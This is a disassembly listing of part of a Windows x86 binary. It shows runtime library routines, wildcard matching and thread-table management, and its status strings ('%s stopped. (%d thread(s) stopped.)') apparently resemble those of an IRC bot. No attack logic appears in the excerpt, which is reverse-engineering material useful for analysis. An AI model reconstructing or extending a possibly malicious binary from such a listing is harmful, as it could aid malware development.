lea esi, dword_43F558[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_43A450
mov [esi], ebx
pop edi
loc_415156: ; CODE XREF: sub_4150CE+Dj
; sub_4150CE+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_4150CE endp
; =============== S U B R O U T I N E =======================================
sub_41515C proc near ; CODE XREF: sub_409E15:loc_409E39p
; sub_40C59A+18p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_43F348
loc_415168: ; CODE XREF: sub_41515C+2Aj
cmp byte ptr [esi], 0
jz short loc_415179
push edi
call sub_4150CE
test eax, eax
pop ecx
jz short loc_415179
inc ebx
loc_415179: ; CODE XREF: sub_41515C+Fj
; sub_41515C+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_468838
jl short loc_415168
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41515C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41518E proc near ; CODE XREF: sub_40CE55+1CC9p
; sub_40CE55+1D37p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_43F54C
loc_4151A2: ; CODE XREF: sub_41518E+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_4151C4
test edi, edi
jle short loc_4151B6
cmp [esi], edi
jz short loc_4151B6
cmp ebx, edi
jnz short loc_4151C4
loc_4151B6: ; CODE XREF: sub_41518E+1Ej
; sub_41518E+22j
push ebx
call sub_4150CE
test eax, eax
pop ecx
jz short loc_4151C4
inc [ebp+var_4]
loc_4151C4: ; CODE XREF: sub_41518E+1Aj
; sub_41518E+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_468A3C
jl short loc_4151A2
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41518E endp
; =============== S U B R O U T I N E =======================================
sub_4151DB proc near ; CODE XREF: sub_4071FF+Bp
; sub_407276+2Dp ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_43F548
loc_4151E2: ; CODE XREF: sub_4151DB+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_4151EB
inc eax
loc_4151EB: ; CODE XREF: sub_4151DB+Dj
add ecx, 234h
cmp ecx, offset dword_468A38
jl short loc_4151E2
retn
sub_4151DB endp
; =============== S U B R O U T I N E =======================================
sub_4151FA proc near ; CODE XREF: sub_40CE55+50EBp
arg_0 = dword ptr 4
xor eax, eax
push esi
xor edx, edx
mov ecx, offset dword_43F548
loc_415204: ; CODE XREF: sub_4151FA+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_41521D
add ecx, 234h
inc edx
cmp ecx, offset dword_468A38
jl short loc_415204
pop esi
retn
; ---------------------------------------------------------------------------
loc_41521D: ; CODE XREF: sub_4151FA+10j
mov eax, edx
pop esi
retn
sub_4151FA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415221 proc near ; CODE XREF: sub_40CE55+1062p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_41523A
push [ebp+arg_1C]
call sub_415A5F
pop ecx
loc_41523A: ; CODE XREF: sub_415221+Ej
push eax
push [ebp+arg_18]
call sub_41518E
pop ecx
test eax, eax
pop ecx
jle short loc_415266
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"...
push eax
call sub_4154E7
add esp, 14h
jmp short loc_415280
; ---------------------------------------------------------------------------
loc_415266: ; CODE XREF: sub_415221+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s: No %s thread found."
push eax
call sub_4154E7
add esp, 10h
loc_415280: ; CODE XREF: sub_415221+43j
cmp [ebp+arg_C], 0
jnz short loc_4152A0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
loc_4152A0: ; CODE XREF: sub_415221+63j
lea eax, [ebp+var_200]
push eax
call sub_40B16D
pop ecx
leave
retn
sub_415221 endp
; =============== S U B R O U T I N E =======================================
sub_4152AF proc near ; CODE XREF: sub_401000+A2p
; sub_401447+8Dp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_43F55C[eax], ecx
mov dword_43F548[eax], ecx
mov dword_43F54C[eax], ecx
mov dword_43F550[eax], ecx
mov dword_43F554[eax], ecx
mov dword_43F558[eax], ecx
mov byte ptr dword_43F348[eax], cl
mov byte_43F560[eax], cl
retn
sub_4152AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4152EC proc near ; CODE XREF: sub_40CE55+5BF6p
; sub_41541A+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push 1
pop eax
loc_4152F6: ; CODE XREF: sub_4152EC+68j
mov cl, [esi]
test cl, cl
jz short loc_415356
cmp eax, 1
jnz short loc_415356
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_415356
cmp cl, 2Ah
jz short loc_41533D
cmp cl, 3Fh
jz short loc_415320
cmp cl, 5Bh
jz short loc_415325
xor eax, eax
cmp cl, dl
setz al
loc_415320: ; CODE XREF: sub_4152EC+26j
inc [ebp+arg_4]
jmp short loc_415350
; ---------------------------------------------------------------------------
loc_415325: ; CODE XREF: sub_4152EC+2Bj
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_415382
mov esi, [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_415350
; ---------------------------------------------------------------------------
loc_41533D: ; CODE XREF: sub_4152EC+21j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_41541A
mov esi, [ebp+arg_0]
pop ecx
pop ecx
dec esi
loc_415350: ; CODE XREF: sub_4152EC+37j
; sub_4152EC+4Fj
inc esi
mov [ebp+arg_0], esi
jmp short loc_4152F6
; ---------------------------------------------------------------------------
loc_415356: ; CODE XREF: sub_4152EC+Ej
; sub_4152EC+13j ...
cmp byte ptr [esi], 2Ah
jnz short loc_415366
cmp eax, 1
jnz short loc_41537D
inc esi
mov [ebp+arg_0], esi
jmp short loc_415356
; ---------------------------------------------------------------------------
loc_415366: ; CODE XREF: sub_4152EC+6Dj
cmp eax, 1
jnz short loc_41537D
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_41537D
cmp byte ptr [esi], 0
jnz short loc_41537D
push 1
pop eax
jmp short loc_41537F
; ---------------------------------------------------------------------------
loc_41537D: ; CODE XREF: sub_4152EC+72j
; sub_4152EC+7Dj ...
xor eax, eax
loc_41537F: ; CODE XREF: sub_4152EC+8Fj
pop esi
pop ebp
retn
sub_4152EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415382 proc near ; CODE XREF: sub_4152EC+45p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
push 1
mov ecx, [edx]
and [ebp+var_8], edi
pop eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_4153A3
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_4153A3: ; CODE XREF: sub_415382+19j
push ebx
push esi
loc_4153A5: ; CODE XREF: sub_415382+7Bj
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_4153B3
cmp [ebp+var_4], eax
jnz short loc_4153FF
loc_4153B3: ; CODE XREF: sub_415382+2Aj
test edi, edi
jnz short loc_4153F4
cmp bl, 2Dh
jnz short loc_4153E8
mov al, [ecx+1]
lea esi, [ecx+1]
mov cl, [ecx-1]
cmp cl, al
jge short loc_4153E8
cmp al, 5Dh
jz short loc_4153E8
cmp [ebp+var_4], edi
jnz short loc_4153E8
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_4153F4
cmp bl, al
jg short loc_4153F4
push 1
mov [edx], esi
pop edi
jmp short loc_4153F4
; ---------------------------------------------------------------------------
loc_4153E8: ; CODE XREF: sub_415382+38j
; sub_415382+45j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_4153F4
push 1
pop edi
loc_4153F4: ; CODE XREF: sub_415382+33j
; sub_415382+59j ...
inc dword ptr [edx]
and [ebp+var_4], 0
push 1
pop eax
jmp short loc_4153A5
; ---------------------------------------------------------------------------
loc_4153FF: ; CODE XREF: sub_415382+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_41540C
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_41540C: ; CODE XREF: sub_415382+82j
cmp edi, eax
jnz short loc_415415
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_415415: ; CODE XREF: sub_415382+8Cj
mov eax, edi
pop edi
leave
retn
sub_415382 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41541A proc near ; CODE XREF: sub_4152EC+59p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
xor ebx, ebx
loc_415436: ; CODE XREF: sub_41541A+3Aj
cmp [eax], bl
jz short loc_415456
mov cl, [ecx]
cmp cl, 3Fh
jz short loc_41544B
cmp cl, 2Ah
jnz short loc_415456
cmp cl, 3Fh
jnz short loc_41544E
loc_41544B: ; CODE XREF: sub_41541A+25j
inc eax
mov [edi], eax
loc_41544E: ; CODE XREF: sub_41541A+2Fj
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
jmp short loc_415436
; ---------------------------------------------------------------------------
loc_415456: ; CODE XREF: sub_41541A+1Ej
; sub_41541A+2Aj ...
mov eax, [esi]
cmp byte ptr [eax], 2Ah
jnz short loc_415461
inc dword ptr [esi]
jmp short loc_415456
; ---------------------------------------------------------------------------
loc_415461: ; CODE XREF: sub_41541A+41j
mov eax, [edi]
mov cl, [eax]
cmp cl, bl
jnz short loc_415482
mov edx, [esi]
cmp [edx], bl
jz short loc_415473
xor eax, eax
jmp short loc_4154E2
; ---------------------------------------------------------------------------
loc_415473: ; CODE XREF: sub_41541A+53j
cmp cl, bl
jnz short loc_415482
mov ecx, [esi]
cmp [ecx], bl
jnz short loc_415482
push 1
pop eax
jmp short loc_4154E2
; ---------------------------------------------------------------------------
loc_415482: ; CODE XREF: sub_41541A+4Dj
; sub_41541A+5Bj ...
push eax
push dword ptr [esi]
call sub_4152EC
pop ecx
test eax, eax
pop ecx
jnz short loc_4154CC
loc_415490: ; CODE XREF: sub_41541A+B0j
inc dword ptr [edi]
mov eax, [edi]
loc_415494: ; CODE XREF: sub_41541A+90j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jz short loc_4154AC
cmp cl, 5Bh
jz short loc_4154AC
cmp dl, bl
jz short loc_4154AC
inc eax
mov [edi], eax
jmp short loc_415494
; ---------------------------------------------------------------------------
loc_4154AC: ; CODE XREF: sub_41541A+82j
; sub_41541A+87j ...
mov eax, [edi]
cmp [eax], bl
jz short loc_4154C3
push eax
push dword ptr [esi]
call sub_4152EC
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_4154C8
; ---------------------------------------------------------------------------
loc_4154C3: ; CODE XREF: sub_41541A+96j
mov [ebp+var_4], ebx
xor eax, eax
loc_4154C8: ; CODE XREF: sub_41541A+A7j
cmp eax, ebx
jnz short loc_415490
loc_4154CC: ; CODE XREF: sub_41541A+74j
mov eax, [edi]
cmp [eax], bl
jnz short loc_4154DF
mov eax, [esi]
cmp [eax], bl
jnz short loc_4154DF
mov [ebp+var_4], 1
loc_4154DF: ; CODE XREF: sub_41541A+B6j
; sub_41541A+BCj
mov eax, [ebp+var_4]
loc_4154E2: ; CODE XREF: sub_41541A+57j
; sub_41541A+66j
pop edi
pop esi
pop ebx
leave
retn
sub_41541A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4154E7 proc near ; CODE XREF: sub_401000+61p
; sub_4010B2+308p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
lea eax, [ebp+arg_8]
mov [ebp+var_14], 42h
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
mov [ebp+var_1C], 7FFFFFFFh
push eax
call sub_417D4C
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_415527
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_415534
; ---------------------------------------------------------------------------
loc_415527: ; CODE XREF: sub_4154E7+36j
lea eax, [ebp+var_20]
push eax
push 0
call sub_417C37
pop ecx
pop ecx
loc_415534: ; CODE XREF: sub_4154E7+3Ej
mov eax, esi
pop esi
leave
retn
sub_4154E7 endp
; =============== S U B R O U T I N E =======================================
sub_415539 proc near ; CODE XREF: sub_401000+2Ep
; sub_401BD6+46p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_437D40, eax
retn
sub_415539 endp
; =============== S U B R O U T I N E =======================================
sub_415543 proc near ; CODE XREF: sub_4010B2+CBp
; sub_4010B2+13Fp ...
mov eax, dword_437D40
imul eax, 343FDh
add eax, 269EC3h
mov dword_437D40, eax
sar eax, 10h
and eax, 7FFFh
retn
sub_415543 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_415570 proc near ; CODE XREF: sub_4010B2+281p
; sub_401447+180p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_4155C3
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_4155B7
neg ecx
and ecx, 3
jz short loc_415599
sub edx, ecx
loc_415593: ; CODE XREF: sub_415570+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_415593
loc_415599: ; CODE XREF: sub_415570+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_4155B7
rep stosd
test edx, edx
jz short loc_4155BD
loc_4155B7: ; CODE XREF: sub_415570+18j
; sub_415570+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_4155B7
loc_4155BD: ; CODE XREF: sub_415570+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_4155C3: ; CODE XREF: sub_415570+Aj
mov eax, [esp+arg_0]
retn
sub_415570 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4155D0 proc near ; CODE XREF: sub_4010B2+22Dp
; sub_4010B2+23Ep ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_4155F0
cmp edi, eax
jb loc_415768
loc_4155F0: ; CODE XREF: sub_4155D0+16j
test edi, 3
jnz short loc_41560C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41562C
rep movsd
jmp off_415718[edx*4]
; ---------------------------------------------------------------------------
loc_41560C: ; CODE XREF: sub_4155D0+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_415624
and eax, 3
add ecx, eax
jmp dword ptr loc_41562C+4[eax*4]
; ---------------------------------------------------------------------------
loc_415624: ; CODE XREF: sub_4155D0+46j
jmp dword ptr loc_415728[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41562C: ; CODE XREF: sub_4155D0+31j
; sub_4155D0+8Ej ...
jmp off_4156AC[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_415640
dd offset loc_41566C
dd offset loc_415690
; ---------------------------------------------------------------------------
loc_415640: ; DATA XREF: sub_4155D0+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41562C
rep movsd
jmp off_415718[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41566C: ; DATA XREF: sub_4155D0+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41562C
rep movsd
jmp off_415718[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_415690: ; DATA XREF: sub_4155D0+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41562C
rep movsd
jmp off_415718[edx*4]
; ---------------------------------------------------------------------------
align 4
off_4156AC dd offset loc_41570F ; DATA XREF: sub_4155D0:loc_41562Cr
dd offset loc_4156FC
dd offset loc_4156F4
dd offset loc_4156EC
dd offset loc_4156E4
dd offset loc_4156DC
dd offset loc_4156D4
dd offset loc_4156CC
; ---------------------------------------------------------------------------
loc_4156CC: ; CODE XREF: sub_4155D0:loc_41562Cj
; DATA XREF: sub_4155D0+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_4156D4: ; CODE XREF: sub_4155D0:loc_41562Cj
; DATA XREF: sub_4155D0+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_4156DC: ; CODE XREF: sub_4155D0:loc_41562Cj
; DATA XREF: sub_4155D0+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_4156E4: ; CODE XREF: sub_4155D0:loc_41562Cj
; DATA XREF: sub_4155D0+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_4156EC: ; CODE XREF: sub_4155D0:loc_41562Cj
; DATA XREF: sub_4155D0+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_4156F4: ; CODE XREF: sub_4155D0:loc_41562Cj
; DATA XREF: sub_4155D0+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_4156FC: ; CODE XREF: sub_4155D0:loc_41562Cj
; DATA XREF: sub_4155D0+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41570F: ; CODE XREF: sub_4155D0:loc_41562Cj
; DATA XREF: sub_4155D0:off_4156ACo
jmp off_415718[edx*4]
; ---------------------------------------------------------------------------
align 4
off_415718 dd offset loc_415728 ; DATA XREF: sub_4155D0+35r
; sub_4155D0+92r ...
dd offset loc_415730
dd offset loc_41573C
dd offset loc_415750
; ---------------------------------------------------------------------------
loc_415728: ; CODE XREF: sub_4155D0+35j
; sub_4155D0+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_415730: ; CODE XREF: sub_4155D0+35j
; sub_4155D0+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41573C: ; CODE XREF: sub_4155D0+35j
; sub_4155D0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_415750: ; CODE XREF: sub_4155D0+35j
; sub_4155D0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_415768: ; CODE XREF: sub_4155D0+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41579C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_415790
std
rep movsd
cld
jmp off_4158B0[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_415790: ; CODE XREF: sub_4155D0+1B1j
; sub_4155D0+208j ...
neg ecx
jmp off_415860[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41579C: ; CODE XREF: sub_4155D0+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_4157B4
and eax, 3
sub ecx, eax
jmp dword ptr loc_4157B4+4[eax*4]
; ---------------------------------------------------------------------------
loc_4157B4: ; CODE XREF: sub_4155D0+1D6j
; DATA XREF: sub_4155D0+1DDr
jmp off_4158B0[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_4157C7+1
dd offset loc_4157E8
; ---------------------------------------------------------------------------
adc [eax+41h], bl
loc_4157C7: ; DATA XREF: sub_4155D0+1ECo
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_415790
std
rep movsd
cld
jmp off_4158B0[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_4157E8: ; DATA XREF: sub_4155D0+1F0o
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_415790
std
rep movsd
cld
jmp off_4158B0[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_415790
std
rep movsd
cld
jmp off_4158B0[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_415864
dd offset loc_41586C
dd offset loc_415874
dd offset loc_41587C
dd offset loc_415884
dd offset loc_41588C
dd offset loc_415894
off_415860 dd offset loc_4158A7 ; DATA XREF: sub_4155D0+1C2r
; ---------------------------------------------------------------------------
loc_415864: ; DATA XREF: sub_4155D0+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41586C: ; DATA XREF: sub_4155D0+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_415874: ; DATA XREF: sub_4155D0+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41587C: ; DATA XREF: sub_4155D0+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_415884: ; DATA XREF: sub_4155D0+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41588C: ; DATA XREF: sub_4155D0+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_415894: ; DATA XREF: sub_4155D0+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_4158A7: ; CODE XREF: sub_4155D0+1C2j
; DATA XREF: sub_4155D0:off_415860o
jmp off_4158B0[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_4158B0 dd offset loc_4158C0 ; DATA XREF: sub_4155D0+1B7r
; sub_4155D0:loc_4157B4r ...
dd offset loc_4158C8
dd offset loc_4158D8
dd offset loc_4158EC
; ---------------------------------------------------------------------------
loc_4158C0: ; CODE XREF: sub_4155D0+1B7j
; sub_4155D0:loc_4157B4j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4158C8: ; CODE XREF: sub_4155D0+1B7j
; sub_4155D0:loc_4157B4j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4158D8: ; CODE XREF: sub_4155D0+1B7j
; sub_4155D0:loc_4157B4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4158EC: ; CODE XREF: sub_4155D0+1B7j
; sub_4155D0:loc_4157B4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_4155D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_415910 proc near ; CODE XREF: sub_4010B2+FCp
; sub_4010B2+118p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_41595C
loc_415920: ; CODE XREF: sub_415910+3Cj
; sub_415910+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_415954
or al, al
jz short loc_415950
cmp ah, [ecx+1]
jnz short loc_415954
or ah, ah
jz short loc_415950
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_415954
or al, al
jz short loc_415950
cmp ah, [ecx+3]
jnz short loc_415954
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_415920
mov edi, edi
loc_415950: ; CODE XREF: sub_415910+18j
; sub_415910+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_415954: ; CODE XREF: sub_415910+14j
; sub_415910+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41595C: ; CODE XREF: sub_415910+Ej
test edx, 1
jz short loc_415978
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_415954
inc ecx
or al, al
jz short loc_415950
test edx, 2
jz short loc_415920
loc_415978: ; CODE XREF: sub_415910+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_415954
or al, al
jz short loc_415950
cmp ah, [ecx+1]
jnz short loc_415954
or ah, ah
jz short loc_415950
add ecx, 2
jmp short loc_415920
sub_415910 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4159A0 proc near ; CODE XREF: sub_4010B2+19Ep
; sub_4018CA+11Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_4159B9
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_4159B9: ; CODE XREF: sub_4159A0+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_4159A0 endp
; =============== S U B R O U T I N E =======================================
sub_4159D4 proc near ; CODE XREF: sub_415A5F+4p
; sub_41E162+1A2p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
loc_4159DC: ; CODE XREF: sub_4159D4+34j
cmp dword_437F9C, 1
jle short loc_4159F4
movzx eax, byte ptr [edi]
push 8
push eax
call sub_418556
pop ecx
pop ecx
jmp short loc_415A03
; ---------------------------------------------------------------------------
loc_4159F4: ; CODE XREF: sub_4159D4+Fj
movzx eax, byte ptr [edi]
mov ecx, off_437D90
mov al, [ecx+eax*2]
and eax, 8
loc_415A03: ; CODE XREF: sub_4159D4+1Ej
test eax, eax
jz short loc_415A0A
inc edi
jmp short loc_4159DC
; ---------------------------------------------------------------------------
loc_415A0A: ; CODE XREF: sub_4159D4+31j
movzx esi, byte ptr [edi]
inc edi
cmp esi, 2Dh
mov ebp, esi
jz short loc_415A1A
cmp esi, 2Bh
jnz short loc_415A1E
loc_415A1A: ; CODE XREF: sub_4159D4+3Fj
movzx esi, byte ptr [edi]
inc edi
loc_415A1E: ; CODE XREF: sub_4159D4+44j
xor ebx, ebx
loc_415A20: ; CODE XREF: sub_4159D4+7Bj
cmp dword_437F9C, 1
jle short loc_415A35
push 4
push esi
call sub_418556
pop ecx
pop ecx
jmp short loc_415A40
; ---------------------------------------------------------------------------
loc_415A35: ; CODE XREF: sub_4159D4+53j
mov eax, off_437D90
mov al, [eax+esi*2]
and eax, 4
loc_415A40: ; CODE XREF: sub_4159D4+5Fj
test eax, eax
jz short loc_415A51
lea eax, [ebx+ebx*4]
